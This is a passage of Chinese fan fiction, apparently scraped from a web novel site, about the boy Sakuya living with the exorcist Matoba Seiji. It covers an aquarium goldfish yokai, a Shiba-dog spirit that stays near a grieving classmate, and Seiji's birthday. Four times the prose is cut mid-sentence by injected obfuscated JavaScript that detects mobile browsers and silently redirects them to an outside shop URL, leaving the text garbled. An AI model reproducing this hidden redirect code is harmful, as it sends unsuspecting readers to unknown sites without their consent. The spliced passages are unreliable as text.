处理完之前委托造成的麻烦后,的场静司又恢复了以往的行程,早上和朔也一同去学校。 负责接送两人的司机按照往常一样,先将车驶到了小学部附近。 看着朔也下车,的场静司不忘提醒道:“下午我会来接你,一起去海洋馆。” 朔也乖乖点头,而后挥挥手。 目送车开走,朔也默默想着,似乎静司先生比他更积极地想去海洋馆呢。 朔也正准备转身去学校,眼角却闪过一道黄色的影子,他定睛看过去,发现是一只柴犬。 这条站在几米开外的狗看上去没什么特别,但在人来人往的街道上,还是小学附近,有一只没有主人看着且没戴牵引绳的狗独自乱跑,这就有点怪异了。 “铃木君,早。” 朔也转头,是同班的高杉飒真。 “早,高杉君,你看见那只……诶?” 朔也四处看了一圈,不过一眨眼的功夫,那只狗就不见了,是跑去别的地方了吗? “怎么了?” 朔也把刚刚看到的描述了一下。 高杉倒不觉得是什么大事,“大概是谁家的狗偷偷出来玩吧,它们会自己回家的。” 说到狗的话题,高杉的话稍微多了些。 “如果是柴犬的话,它们不会随便乱叫,也很聪明,遇到它们只要不做出威胁的举动,是很安全的。” “咦?高杉君很了解柴犬哎,是家里有养吗?” “我爷爷很喜欢狗,曾经养过,不过现在已经没有养了,我妈妈有洁癖,不喜欢在家里养宠物。” “这样啊。”想起高杉曾经说过家里有人在医院工作,朔也了然地点点头。 “铃木君喜欢打游戏吗?” 朔也上次打游戏还是没和哥哥翔平闹别扭之前,翔平对电子游戏很热衷,朔也则兴趣一般,他对阅读和手工类比较感兴趣。 不过因为会陪哥哥玩的关系,他对游戏也不讨厌就是了。 “还行,不过我很久没玩过了。”朔也实话实说。 高杉点点头,继续问道:“那动画呢,喜欢吗?” “比起动画,我更喜欢电影。” 朔也好奇地看向高杉,“高杉君,是有什么事吗?” 高杉微皱着眉,神情和以往的冷淡不同,显得有些纠结。 “这个周末,你愿意来我家玩吗?” 朔也有点吃惊,但他反应过来后很自然地点了点头,“好呀,高杉君的家在哪里呢?” 高杉的神情顿时轻松了不少,说了个地址。 “我可以让司机去接你。” 朔也想了想,拒绝了,他住在的场家的事对普通人有点难解释。 不过说起来,这还是他第一次去同学家里玩呢,需不需要注意什么呢? * 在去海洋馆的路上,朔也说起这件事的时候,倒是让的场静司有些意外。 “朔也这么快就交到新朋友了吗?” 朔也有些不好意思。 “大概是因为高杉君有些地方和静司先生很像吧,所以很快就熟悉起来了。” “咦?”的场静司微微挑眉,“长相相似吗?” “不,长相完全不一样,但说话的方式很像,都非常直率。”朔也不自觉笑起来,“有种让人觉得安心的坦诚。” “哦呀,是这样么。” 的场静司感到愉悦之余还觉得有些新奇。 他知道自己说话很直接,甚至时常带着故意为之的侵入性,很容易就会踩到某些人的痛点,因此有不少人在暗地里斥责他是“目中无人的傲慢家伙”。 没想到在朔也眼里却是另外一回事。 “那朔也放心去玩就好。” 的场静司其实也没什么去普通同学家里玩的经验,不过他不想让朔也在这方面过于小心翼翼。 像朔也这样的孩子,根本不需要迁就什么。 * 朔也上次去海洋馆还是上小学之前,记忆已经很模糊了,以至于这次看到什么都觉得很新鲜。 五彩斑斓的各色鱼群在高大的玻璃幕墙后游动,水面折射下来的水光摇曳生辉,是十分壮观的景象。 的场静司倒是很熟悉这里的样子,带着朔也在不同场馆穿梭。 很快他就发现朔也对海洋生物科普比较感兴趣,但对很多小孩子都想参加的互动却敬而远之。 “不喜欢鲸鱼吗?” 朔也远远地看着小孩和白鲸互动,忍不住说道:“静司先生,你不觉得这样看起来很像妖怪吗?” “嗯?” “解说员说白鲸的智商和3-6岁的孩子差不多,这样就和一些不太聪明的妖怪一样,明明生活在和人类截然不同的环境里,却又喜欢靠近人类……” “原来朔也是这么看的?”的场静司思忖了一会儿,问道:“所以在朔也的想法里,最好可以让这些生物生活在它们应该生活的地方,是么?” 朔也眨眨眼睛,点点头。 的场静司轻轻摸了摸男孩的头,“我明白了,看来海洋馆、动物园都不是朔也喜欢的地方。” 朔也小声反驳道:“但不讨厌和静司先生一起来。” 的场静司轻声笑起来,“哦呀,感觉像是被朔也宠爱了一样。” 还不等朔也脸红,他又解释道:“其实是我很想让朔也看一样东西。” “诶?是什么?”他们刚刚已经将整个海洋馆都走遍了。 的场静司看了看时间,牵起朔也的手。 “快开始了,我们过去吧。” 他们回到了巨大的玻璃幕墙前,许多游客也纷纷聚集过来。 朔也听了几耳朵,好像是水下表演马上要开始了。 果然,没多久就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751158|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有美人鱼装扮的演员潜入到了水下,随着场馆内灯光的变化,漂亮的美人鱼服饰像是自带光亮,随着演员的舞动闪耀起来。 朔也正看得专注,却听的场静司在他耳边轻轻说道:“朔也,抬头。” 他听话地抬头望去,忽然睁大眼睛。 一条巨大的金鱼显现在水中。 华丽的银白色鱼身上点缀着金色的鳞片,鱼鳍像长长的丝绸在水中延展开来,渐变出淡淡的樱花粉色。 金鱼在水中悠然地游弋,如同翱翔在月光之中,发出莹莹的如梦似幻的光辉。 “绮丽……” 朔也感觉自己像是在做梦,他突然看向一旁的人群,人们完全没有察觉,依然为演员的表演欢呼着。 朔也转头看向的场静司,对方正微笑着看着他。 所以,是妖怪啊。 在拥挤的人群里,只有他们俩人抬头望向了别处,看到了只有他们能够看到的奇妙景色。 那条美丽得不可思议的金鱼,旁若无人地游来游去,像是在独自嬉戏,又像是在和穿梭的鱼群玩耍…… 不知道过了多久,金鱼仿佛是厌倦了,化为点点荧光,消失在水中。 “朔也果然能看见呢。” 朔也回过神,“静司先生,它为什么会在这里?” “抱歉,我也不知道。” 的场静司看向金鱼曾经游弋的地方。 “我第一次来这里时,它就已经在了。” “每一天,它都会在同样的时间出现,短暂显形后又会消失,就像是海洋馆的固定隐藏节目。” 朔也若有所思,呢喃道:“我……第一次见到这样的妖怪。” “我也觉得很不可思议。”的场静司轻笑道:“什么都不做,只是每天出现一会儿,无法和人交流,但也无害,像是景观一般单纯地存在着。” “妖怪……真是奇怪。”朔也忍不住嘟囔了一句。 两人站在玻璃幕墙前,一起沉默了一会儿。 “朔也,我很高兴哦,你能看见它。”的场静司突然说道。 “我带七濑桑来过,可惜她只能看见淡淡的影子,这样的话,应该有很多人可能连影子都看不见吧。” 朔也看着两人在深蓝色玻璃上映出的模糊身影,忽然意识到,也许,在看见别人无法看见、也无法理解的东西时,的场静司会和他一样感到寂寞。 “啊,抱歉,好像成了我单方面的抱怨。” “没有哦。” 朔也摇了摇头,看向的场静司。 “能和静司先生看见一样的东西,真的太好了!” 的场静司愣了一瞬,而后笑了起来。 “啊,真的太好了。” 他轻声感叹着,停顿几秒,忍不住说出心里的想法。 “要不朔也就在的场家住一辈子吧!” “诶?!!” 9. 第九章 柴犬 * 在去过海洋馆之后,的场静司似乎对朔也更加亲近起来。 比起毫无所觉的朔也,以及很可能自己也没意识到的静司本人,其他人反而更快地察觉了。 “静司少爷完全是兄长的样子了哦。” “因为有了朔也少爷这样可爱的弟弟,静司少爷也变得活泼了呢。” “真好呀,每天看到这么要好的两个孩子,心情都变得愉悦了。” “……” 无意间听见女仆们聊天的七濑却不太乐观。 她当然能觉察到的场静司的变化,但与其说是静司多了一个弟弟,不如说,朔也的到来让静司像找到了同伴。 七濑几乎是看着的场静司长大的,她了解静司,比起姐姐史信,静司更认可的场家的理念,也更柔和。 但这姐弟俩骨子里有着同样的傲慢和强势,对他人和外物的掌控欲也过于强烈,这大概也是两人无法和谐相处的原因之一。 这样的特质对未来的首领来说是优点,但对身边亲近的人就不一定是好事了。 朔也那孩子很有自己的主见,如果静司不懂克制自己的话,两人可能会在某天像姐弟俩那样决裂。 无论是从的场一门还是私人的角度来看,这都不是七濑所乐见的。 但这些担忧毕竟不属于当下,往好处想,静司确实比以前更活跃了一些。 “朔也要出门吗?” 看见男孩背着背包一副外出的打扮,七濑问道。 “是的,七濑阿姨,高杉同学邀请我去他家玩。” 七濑欣慰地点点头,朔也可比一贯独来独往的静司开朗多了。 她走进起居室,看见的场静司正在走廊下翻看几本杂志。 “日安,七濑桑,你觉得这个怎么样?” 的场静司把摊开的杂志摆到七濑面前。 那是一页商品广告页,推荐的是近期比较火的手机新品。 “你想要这个吗?”七濑扫了一眼,“我还以为你对这些不感兴趣。” “是给朔也的。” 七濑看向的场静司,“怎么想起给朔也买这个?现在的小学孩子就需要这些了吗?” “朔也应该会需要吧。”的场静司理所当然地说道:“不然外出的话联系不上家里怎么办?” 七濑额头上的神经跳了跳,她就知道…… “朔也只是去同学家而已,用同学家的电话就可以。”七濑平静地说道:“这类东西对小孩子来说也不太合适吧,铃木先生知道的话应该也不会同意的。” 的场静司犹豫了一会儿,被说服了。 “好吧,还真是麻烦呢。” “静司,对朔也干涉太多的话,会被讨厌的哦。”七濑忍不住叮嘱道。 的场静司微微皱眉。 “嘛,我明白了。” * 高杉家在一片别墅区里,是一幢欧式风格的大房子,看起来很漂亮。 看到朔也来拜访,高杉的妈妈特别高兴,她亲切地招待着朔也,极力邀请朔也留在高杉家一起吃晚餐。 而客厅中布置得可爱又华丽的庆生装饰表明了一切的原由。 朔也爽快地答应下来,然后被一脸尴尬的高杉领进了自己的房间。 这还是朔也第一次参观同龄人的卧室,让他感到十分新奇。 “铃木君,对不起。”高杉尴尬地解释道:“往年过生日都没有朋友过来,妈妈很在意,所以我就……” “我猜到了哦!”朔也打开背包,从里面掏出一个礼盒,笑眯眯地递给高杉飒真,“高杉君,生日快乐!” “诶?!你怎么知道?”高杉吃惊地瞪大眼睛。 “不知道为什么就想到了。”朔也笑道:“正好我很想和高杉君做朋友,看来赶上了好时机哟。” “谢、谢谢!”高杉的脸顿时红了一片,羞涩又别扭的样子比平时看起来生动得多,“呃,你可以叫我飒真。” “好呀,飒真叫我朔也就好。”朔也指了指他手里的礼盒,“要不要打开看看?其实这是我第一次给朋友送礼物来着,不确定……” “啊,新的游戏手柄!” 这还是朔也第一次看到高杉飒真笑起来的样子,和平日在学校里的高冷模样判若两人,这种反差实在有趣。 “正好我刚买了新的游戏,朔也要一起试试吗?还是有想看的电影呢?” 朔也想了想,“唔,游戏吧。” 在为了避开妖怪不得不一直待在家里的那些时间里,朔也曾经想象过和朋友一起悠闲地度过周末的场景。 没想到不知不觉就实现了。 * 在玩游戏的间隙,朔也站起来活动了一下身体,不经意间看向窗外时,却发现院子里有一只狗正在撒欢。 “啊,飒真,院子里有只小狗哎。” 但飒真家里不是不养狗吗?朔也有点疑惑。 “咦?”飒真凑过来看向窗外,“有吗?没看见哎,是不是邻居家的狗跑过来了?隔壁家的叔叔养了一只金毛犬,挺活泼的……” 朔也看了看飒真,又看向院子里明明正在草丛里打滚的柴犬,猛地睁大眼睛。 所以,这是妖怪?! 朔也仔细打量着那只疑似妖怪的狗,越看越觉得眼熟,和之前在学校门口出现的那只柴犬十分相似。 说起来,那天看见它的时候飒真也在,今天它又出现在高杉家的院子里……会不会是妖怪盯上了飒真呢? 朔也越想越不安。 “飒真,我想去下洗手间。” “啊,出门沿着走廊往前就是,需要我带你过去吗?” “不用了!游戏你先帮我存档哦。” 朔也快速走出门,然后直接下楼跑到院子里。 不过短短几十秒,那只狗已经不见了。 朔也不死心地在院子里仔细查看了一圈,依然什么都没有看到,甚至没有感受到残留的妖气。 “朔也,怎么到楼下去了?是在找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751159|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么东西吗?”飒真打开二楼的窗户,好奇地问道。 “没什么,出来透透气,我马上上来。” 朔也有些郁闷,不知道为什么会有妖怪缠上飒真,难道是因为对方和自己走太近了吗? 朔也心情突然变得很糟糕。 “飒真,你最近有碰到什么奇怪的事情吗?”一上楼,朔也就忍不住打探起来。 “没有哎……”飒真想了想,确定地说道:“没有,就和平时一样。” “为什么突然这么问?”飒真很好奇。 “啊,没什么,就随便问问。”朔也不知道怎么解释,只能含糊过去。 还好飒真没有追根问底,而是想到了别的方面。 “感觉朔也很关注狗,是喜欢狗吗?” 飒真拿起书桌上的一个相框递给朔也,微笑道:“这是我爷爷养过的狗,叫‘柴丸’,我小的时候它经常陪我一起玩,是个很聪明的小家伙。” 朔也看向照片,里面是年幼的飒真和一位老人的合影,他蹲在老人身前,怀里抱着一只黄色的柴犬,笑得很开心。 “不过在我上小学后没多久,柴丸就因为年纪太大离开了。柴丸是爷爷养大的,所以爷爷很伤心,从那以后就没有养狗了。” 飒真看着相框,有些怀念。 “爷爷还感叹过,说幸好柴丸走在他前面,如果是他先走的话,那留下来的柴丸就太可怜了。” 朔也抬起头,“你爷爷……” “啊,爷爷他在半年前离世了。” “抱歉。” “没关系,已经过去了。”飒真的神情很平和,“爷爷离开之前还和我去看望过柴丸哦,也许他和柴丸会在另一个世界相遇吧。” “看望柴丸?” “嗯,爷爷将柴丸葬在附近的山上,就在寺庙附近,这样只要去寺庙的话,就会去看望柴丸。” “爷爷离世后安葬在寺庙那边,距离柴丸很近呢。前不久我们去祭拜爷爷,也有记得给柴丸带贡品哦。” “啊,说起这个!可能是柴丸吃到喜欢的贡品很高兴吧,我最近经常梦到和它一起玩耍的场景,像回到小时候一样。” “这样啊。”朔也点了点头,若有所思。 * “静司先生,这种情况的话,应该怎么处理呢?” 晚上回到家的朔也,第一时间给的场静司讲述了来龙去脉。 “听上去不是什么有害的妖怪,就算放任不管的话,它觉得无聊后也会自己离开的。” “真的没问题么……”朔也皱着眉头,不太放心地问道:“飒真经常梦到柴丸的话,会对身体有影响吗?” 的场静司打量着他的神情,提议道:“如果在意的话,要不去调查一下?” “对哦。”朔也瞬间转过弯来,“得去那个寺庙对不对?” “可以麻烦静司先生和我一起去吗?” 的场静司轻笑一声,“当然,乐意效劳。” “谢谢静司先生!” 10. 第十章 约定 * 朔也和的场静司都是执行力很强的行动派,两人在第二天放学后就一起去了飒真说过的那间寺庙。 “既然来了,就参观一下吧。” 的场静司带着朔也去拜访寺庙的主持,双方简单地寒暄了一会儿,而后住持安排了一位僧侣接待他们。 “静司先生,你认识住持吗?” “嗯,的场一门和许多寺庙、神社都有合作,这里的住持和我父亲是故交,平时也会互相拜会。” 朔也在的场家时常会看到各种人来拜访,但对的场一门的兴盛直至现在才有了些许实感。 他看着走在前面的的场静司,所以静司先生未来要承担起的就是这样的重担吗? 应该会很辛苦吧。 “朔也,要祈愿吗?”两人参拜过之后,的场静司看向一旁的祈愿绘马,“据说很灵验哦。” 朔也点点头,不过要落笔的时候,朔也一时又想不到该写什么,他对现况很满足,没有更多的祈求。 磨蹭了一会儿,朔也挂上自己的绘马。 「愿静司先生幸福」 “哦呀。”的场静司俯身,仔细地看着绘马,笑眯眯地说道:“很大的愿望呢,我会努力实现的。” 朔也微红着脸,“谢谢静司先生。” 他看到了的场静司的绘马,上面写着「愿朔也健康平安」。 一旁的僧侣也笑了起来。 “两位感情真好啊。” * 有僧侣的帮忙,两人很快在墓园里找到了飒真爷爷的墓。 仔细看了一圈,什么都没发现。 朔也小声问的场静司,“是不是妖怪不敢到寺庙里来?” “有结界的室内它们不会去的,这里的话……”的场静司环顾四周,“大概因为太弱小,不足以留下痕迹。” “那去柴丸的墓看看吧,飒真说就在半山腰的路边。” 两人出了寺庙,沿着阶梯往下。 此时已是深秋了,许多树的叶子都变得斑斓起来,在夕阳的映照下十分美丽,朔也边走边看,不免有些分心。 的场静司牵过他的手,领着他一步步慢慢往下。 比起来调查妖怪,他们更像是悠哉散步的游客了。 “啊,是它!” 朔也的余光撇到一旁树林里的东西,随即看过去,柴犬的黄色皮毛在夕阳的映照下金灿灿的,很显眼。 “看上去就像真的小狗……” 安稳睡在草丛里晒着阳光的柴犬,一点都没有朔也记忆中那些妖怪的样子。 “柴丸?” 朔也试探着叫了一声。 柴犬的耳朵竖了起来,它迅速抬头看过来,盯着朔也,一动不动。 朔也又叫了它一声,这次柴丸歪着头看了他一会儿,慢慢踱步靠近。 朔也惊讶地看向的场静司,在他遭遇过的妖怪里,从来没有见过这种就像小动物一般懵懂而无害的妖怪。 静司微笑着轻声解释道:“它妖力很稀薄,大概刚成形没多久。” 朔也一时拿不准该以什么样的方式来和这种妖怪沟通,只得继续试探着问道:“你认识飒真吗?我是飒真的朋友。” 柴犬又走近了些,在几步之外端正地坐下,用细细的声音打招呼。 “你好,飒真弟弟的朋友。” 朔也松了口气,看来可以沟通。 “柴丸,最近你一直跟在飒真身边吧,为什么呢?” 柴犬眨了眨眼睛,有种孩子般的天真,“爷爷离开了,飒真想念爷爷,我去陪伴他。” “……” 朔也一时有些失语,此前他也预估过,柴丸大概不是什么坏妖怪,但这样的柴丸……让朔也觉得自己好像成了什么坏家伙。 “呃……但你现在是妖怪了,飒真看不见你。” “晚上可以!”柴丸快乐地咧开嘴,“我会陪飒真弟弟一起玩,他很开心。” 朔也有些头疼,如果是其他妖怪,他早就驱逐了,但柴丸……他硬着头皮劝道:“这样不行哦!飒真晚上需要休息,一直和你玩的话,会生病的。” 柴丸闭上嘴,眨了眨眼睛,突然有透明的水滴一样的东西从它的眼睛里涌了出来。 “诶?!” “飒真弟弟不能生病呜呜哇……” 一只嚎啕大哭的柴犬妖怪。 朔也只觉得头皮发麻,他求助地看向一旁一直笑眯眯的的场静司。 的场静司揉了揉朔也的头,对柴丸说道:“你这样的小妖怪,只能待在这座寺庙附近。” 柴丸似乎对的场静司十分畏惧,它停止哭泣,眨巴着泪汪汪的眼睛看了静司一会儿,低下头,“这位大人,我会按照您的吩咐待在这里的。” 朔也看着柴丸冲他们鞠了一躬,然后跑进树林里没了踪影。 “咦???静司先生,你做了什么?为什么柴丸那么听话!” 朔也有趣的反应让的场静司笑出了声。 “什么都没做哦。” “骗人!”朔也震惊道:“明明刚刚还是很难沟通的样子!” “朔也不知道吗?妖怪的世界是很残酷的。”的场静司解释道:“实力强大的妖怪天然就能支配弱小的妖怪。” “诶?” “它大概把我当做了大妖,所以听从了命令。” “诶,还能这样吗?”朔也以往的经验被颠覆了。 “这样的妖怪,朔也不打算封印或祓除吧?” “嗯,毕竟它没做坏事,还是飒真家的小狗。” 他虽然厌恶妖怪,但也不愿意像个除妖狂魔一样,无差别攻击所有的妖。 “它应该不是狗的亡灵化成的。” 的场静司示意朔也看向路边某个地方,那里有一处供奉着地藏菩萨的小祠,旁边不远处是一个小小的土包,上面种着不知名的小花。 “这应该就是柴丸的墓吧!”朔也凑近看了看,“静司先生,如果不是亡灵,那是什么?” “这些石像常年受到人们的祭拜和供奉,也有可能生出意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751160|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识。恰好柴丸被葬在附近,它大概是接收到了一些灵的执念,所以幻化成柴丸的样子。” “你的朋友经常过来这里吧?或许他无意中做了什么或说了什么,被它擅自当做了约定。” 朔也皱起眉头,有些纠结,“那得让飒真以后别来这里吗?” “不用这么警惕哟,朔也。”的场静司轻松地笑道:“它虽然是妖怪,但其实算是半个神明,你的朋友也看不见它,不会有危险的。” 有了的场静司的保证,朔也的心终于放回了肚子里,只是觉得十分诡异。 对飒真来说,他应该只是因为思念爷爷和柴丸,说了一些寻常的话吧。 「柴丸,爷爷也离开了,我好想念你们。」 「要是你还在就好了,好怀念和你一起玩耍的日子啊。」 「……」 随口说出的愿望,飒真并没有期待真的实现。 但旁观的妖怪却以为这是对方的祈愿,便认真应下,当做彼此都认可的约定。 “这样的约定,对妖怪来说有什么意义呢?”朔也困惑地呢喃道。 “被需要吧。”的场静司淡淡地说道:“就像人一样,希望自己的存在对某个人来说是重要的。” “妖怪的生命过于漫长,在仿佛看不到尽头的时间里,不被需要的话,大概会逐渐堕落成扭曲的怪物,直至化为虚无。” 朔也皱着眉,“但人的生命和他们相比是非常短暂的吧,这样的约定也不过转瞬即逝罢了。” “不要小瞧妖怪的执念哦,朔也。”的场静司轻笑道:“就像除妖师的式神,哪怕家族败落、后继无人,它们依然守护着宅院,仿佛约定之人从未离开。” 朔也看向的场静司,他从对方的话语里感受到了微妙的情感。 “静司先生,你想拥有式神吗?” “为什么这么问呢?”的场静司讶异道:“朔也知道的场家和妖怪的宿怨吧?” 朔也点点头,的场家因为背弃和妖怪的约定,失去妖怪们的信任,所以的场一门无法和真正的妖怪缔结契约。 “也许有例外呢?”朔也思忖道:“妖怪当中应该也有特立独行的存在吧?” 的场静司笑了起来,“嘛,或许吧。” 但像的场这样赫赫有名的除妖师家族,几乎完全立于妖怪世界的对立面,获得式神本来就是比其他除妖师更困难的事情。 “朔也呢,想拥有式神吗?” “不要!” 朔也很干脆地摇头。 “我是不会和妖怪缔结契约的。” 过往的经历让他注定不会相信任何妖怪。 “‘约定’这种事情,人和人之间才能真正理解吧,哪怕人总是很善变,但真正的‘约定’也是存在的。”朔也认真地说道:“我想要这样的‘约定’。” 的场静司看着朔也的神情,忽然有种被触动的感觉。 “真是让人羡慕的气魄啊。” 像妖怪一样仿徨不定的人,被坚定的人打动,再容易不过了。 11. 第十一章 犬齿 * 临近十一月的时候,天气转凉,刚结束期中考试的朔也松了口气,终于有时间来做其他事情。 头等大事就是重新整理他的房间。 在的场家住了大半年,朔也的东西不知不觉多出来许多。 仅是新增的两个书架,就已经摆得满满当当。其中一些是民俗类相关的,了解这类知识算是除妖师修习的一部分,另外一些则是七濑按照学校推荐书单购买的,还有的场静司偶尔拿过来的书,里面甚至夹杂着几本怪谈类的漫画。 此外是游戏机和电视,朔也用的很少,但主张添置这些的的场静司似乎抱有一种“他人有朔也必须有”的想法。 剩下的则是各种各样奇奇怪怪的除妖术具和符咒,朔也很喜欢研究这些,喜欢手工的他也时常尝试自己做一些东西,算是他的特殊爱好了。 朔也把东西重新规整了一遍,也因此翻找出了以为弄丢了的糖盒,里面还装着一颗掉落的乳牙。 朔也打开糖盒,顿时愣住了。 原本放在里面的牙齿不见了,取而代之的是一颗像琥珀一般的东西。 朔也拿起来仔细端详了半晌,逐渐有了一个荒谬的想法。 这不会就是那颗牙齿吧? 毕竟形状和那颗犬齿一模一样,只是变成了琥珀的样子,在灯光下透出澄澈的金棕色,温润闪耀,非常美丽。 所以到底是不是呢? 抱着这种怀疑,朔也接连查了好几天的资料,才在一本年代久远的古籍里翻出三言两语。 据说妖力纯粹的妖怪,死后的骸骨会化为如同宝石般的神物,携带这种神物的人,能够获得庇佑、得到好运。 只说了妖,也没提到人出现这种状况是因为什么。 难不成他是妖怪? 刚一起念,朔也就狠狠甩头,把这个荒谬的念头甩到了一边。 也许,是和他那只奇怪的眼睛有关吧。 关于他的异瞳,能够找到的蛛丝马迹是一位很久前的阴阳寮官员记录下来的,说阴阳师如果虔诚地侍奉某位神明,就会被神明赐予神的眼睛,从而获得强大的力量。 朔也觉得这种记载过于久远,仅有只言片语,也没有流传的事迹,说不准只是那位官员过于渴望力量而滋生出的臆想呢。 到底还是没能弄明白眼睛的问题。 哦,现在又多了一颗让人弄不明白的奇怪牙齿。 盯着琥珀牙齿看了太久以至于觉得它还挺可爱的朔也,干脆放弃了追根问底。 算了,就这样吧!不求甚解也是解。 没准这颗牙齿真的有庇佑和赐福的作用呢? * 直到十一月一日的前两天,朔也才知道的场静司的生日要到了。 “这么重要的事情,为什么静司先生没和我提过呢?”朔也忍不住冲的场静司抱怨道:“这样会来不及准备礼物的!” “哦呀,抱歉~抱歉。”的场静司无辜地笑着解释道:“其实我自己也忘了这回事哦。” 一旁的七濑难得替的场静司说了句话,“静司每年都需要人提醒才能想起来,没那么关注自己,对他来说也是一种优点吧。” 朔也微微皱眉,忧心忡忡,“这样的话,没有重要的时刻标记,回忆会变得越来越模糊的。” “咦?有趣的说法。”的场静司饶有兴致地问道:“要怎么理解呢?” “每长大一岁都是很重要的事情,在生日这一天,仔细回想过去一岁发生的事,就会像树的年轮一样记录下来,不容易遗忘。” 朔也很认真地说道:“这样就算长大很多岁,之前的事情也会记得很清楚,想起来的时候也会很幸福呀!” 看着这样的朔也,的场静司和七濑都忍不住微笑起来。 “确实很有道理。”的场静司赞同地点点头,许诺道:“从今年开始,我会好好记住的!” 朔也高兴地弯起嘴角,不过一瞬之后嘴角又撇了下去,“但只有两天了哦,好匆忙,我得好好想想……” 男孩一边念叨着一边冲两人摆摆手,准备钻回房间里好好琢磨一下。 “朔也真是个可爱的孩子啊!” “是啊,过于可爱了。”的场静司微微叹气,“反而时常让人不知如何对待才更好。” 七濑沉默的想,倒也不必这么早就和铃木先生共情。 * 当朔也偷偷询问厨房的阿姨可不可以教他做甜点时,阿姨开心极了。 “是想给静司少爷做生日点心吧!”阿姨笑眯眯地问道:“朔也少爷想做什么呢?” 朔也不好意思地点点头,“抹茶巧克力蛋糕,可以吗?” “当然可以!”阿姨慈爱地笑道:“真贴心啊,都是静司少爷喜欢的口味呢。” 也许是喜欢手工的缘故,朔也在烘焙方面似乎有点天赋,在阿姨手把手的指导下,花了一个下午总算做出了还不错的蛋糕。 的场静司的生日并没有朔也想象中的大排场,晚餐的安排甚至不如朔也搬来的场家那天那么正式,不过一直在别苑休养的的场夫人回来了。 这是朔也第一次见到的场静司的母亲,在见到她的第一眼,朔也的视线就忍不住在她和的场静司之间来回游移,显然的场静司在外貌上继承了更多母亲的特点。 的场夫人的气质非常淡漠,但在看着儿子时,眼神很温柔。 当面对朔也时她就更加和蔼了。 “啊,真是可爱的孩子呢。”的场夫人微笑着,俯身说道,“朔也君,静司承蒙你的关照,辛苦了!” “不、不是……”朔也顿时慌乱地摆了摆手,鞠躬道:“一直都是静司先生在照顾我!” 的场夫人掩嘴轻笑起来,“自从朔也君来了之后,静司变得开朗许多,实在太好了。” 一旁的的场静司不太自在地转过脸,无奈说道:“妈妈,别再逗朔也了。” 朔也看着母子俩的相处,有些羡慕。 此外,他也是第一次看到这样有点羞涩的的场静司,看上去比平时更符合生日蛋糕上的数字。 真好啊,是让静司先生特别开心的生日聚会! * 晚上,已经洗漱好的朔也正准备去睡觉,却在看到书桌上的小盒子后又开始犹豫起来。 这是他原本打算送给的场静司的生日礼物,但做好之后又觉得不太合适,就放弃了,然后另外做了甜点作为礼物。 看着盒子纠结了一会儿,朔也还是决定遵从自己的本心,拿起盒子走到隔壁门口。 “静司先生,睡了吗?”朔也极小声地问道。 朔也还没来得及开始想是否明天再送的时候,门已经被拉开了。 “啊,抱歉,是不是吵醒……” “没有哦,正好你来了。”的场静司做了个邀请的手势,“陪我一起聊聊天吧!” 朔也看到矮桌上的东西,有些哭笑不得,晚餐后没有吃完的抹茶巧克力蛋糕正放在桌子上。 “静司先生,吃不下的话放冷藏就好了啊!”他坐到矮桌边,小声抱怨道:“吃这么多甜点会长蛀牙的吧?” “因为真的很好吃嘛。”的场静司丝笑眯眯的,丝毫不心虚。 朔也将蛋糕重新放回食盒里,“七濑阿姨让我看着你,不能吃太多甜食。” “朔也为什么要站在七濑桑那边?”的场静司有些不满。 “我也担心静司先生的牙齿啊。”朔也认真说道:“换过乳牙后的牙齿可得用一辈子呢!” 的场静司被朔也一本正经的模样逗笑了,他撑着下巴懒洋洋地笑道:“朔也这么晚过来就是为了关心我的牙齿么?” “啊,如果是害怕做噩梦的话可以睡在我这边哦。” “呃,谢谢静司先生,现在不会做噩梦了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751161|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朔也微红着脸,将小礼盒递给的场静司,“这是生日礼物。” “哦呀,竟然准备了两份礼物?”的场静司惊讶地接过礼盒。 “唔,一开始准备送这个来着,但又觉得不太合适,所以做了蛋糕……但还是想把它送给静司先生,所以就拿过来了。” 的场静司看着手心里小巧的吊坠,细细打量着,“是刻有守护符文的琥珀吗?” 